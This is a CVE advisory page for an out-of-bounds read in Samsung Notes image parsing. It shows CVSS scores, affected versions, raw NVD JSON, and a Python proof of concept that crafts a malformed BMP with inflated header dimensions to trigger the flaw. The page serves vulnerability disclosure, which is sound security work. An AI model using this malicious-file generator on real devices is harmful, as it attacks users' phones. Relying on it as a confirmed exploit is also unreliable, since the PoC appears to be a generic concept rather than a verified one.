Security Vulnerability Report
中文
CVE-2025-21069 CVSS 4.0 MEDIUM

CVE-2025-21069

Published: 2025-10-10 07:15:43
Last Modified: 2025-10-16 18:35:01

Description

Out-of-bounds read in the parsing of image data in Samsung Notes prior to version 4.4.30.63 allows local attackers to access out-of-bounds memory.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Notes < 4.4.30.63

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21069 - Samsung Notes OOB Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # in Samsung Notes image parsing by crafting a malicious image file. import struct import os def craft_malicious_image(output_path): """ Create a malformed image file that triggers OOB read in Samsung Notes. The image header claims a large dimension while the actual pixel data is much smaller, causing the parser to read beyond allocated buffer. """ # BMP file format with manipulated header # File header (14 bytes) file_header = struct.pack('<2sIHHI', b'BM', 0, 0, 0, 54) # DIB header (40 bytes) - claiming large dimensions # width=8192, height=8192 (much larger than actual data) dib_header = struct.pack('<IiiHHIIiiII', 40, # header size 8192, # width (claimed - triggers OOB) 8192, # height (claimed - triggers OOB) 1, # color planes 24, # bits per pixel 0, # compression (none) 0, # image size (can be 0 for uncompressed) 0, # x pixels per meter 0, # y pixels per meter 0, # colors in palette 0 # important colors ) # Minimal actual pixel data (much smaller than claimed dimensions) # Only provide a small amount of data to trigger OOB read pixel_data = b'\x00' * 100 # Combine all parts malicious_image = file_header + dib_header + pixel_data with open(output_path, 'wb') as f: f.write(malicious_image) print(f"[*] Malicious image created: {output_path}") print(f"[*] Claimed dimensions: 8192x8192") print(f"[*] Actual pixel data: {len(pixel_data)} bytes") print(f"[*] When Samsung Notes parses this image, it will attempt to") print(f"[*] read 8192*8192*3 bytes from a much smaller buffer -> OOB read") if __name__ == '__main__': output = 'cve_2025_21069_malicious_image.bmp' craft_malicious_image(output) print(f"\n[+] PoC generated successfully.") print(f"[+] Import this image into Samsung Notes < 4.4.30.63 to trigger.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21069", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:43.367", "lastModified": "2025-10-16T18:35:00.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in the parsing of image data in Samsung Notes prior to version 4.4.30.63 allows local attackers to access out-of-bounds memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.30.63", "matchCriteriaId": "5029C1F8-35E0-44F9-B0CE-000486E267EB"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}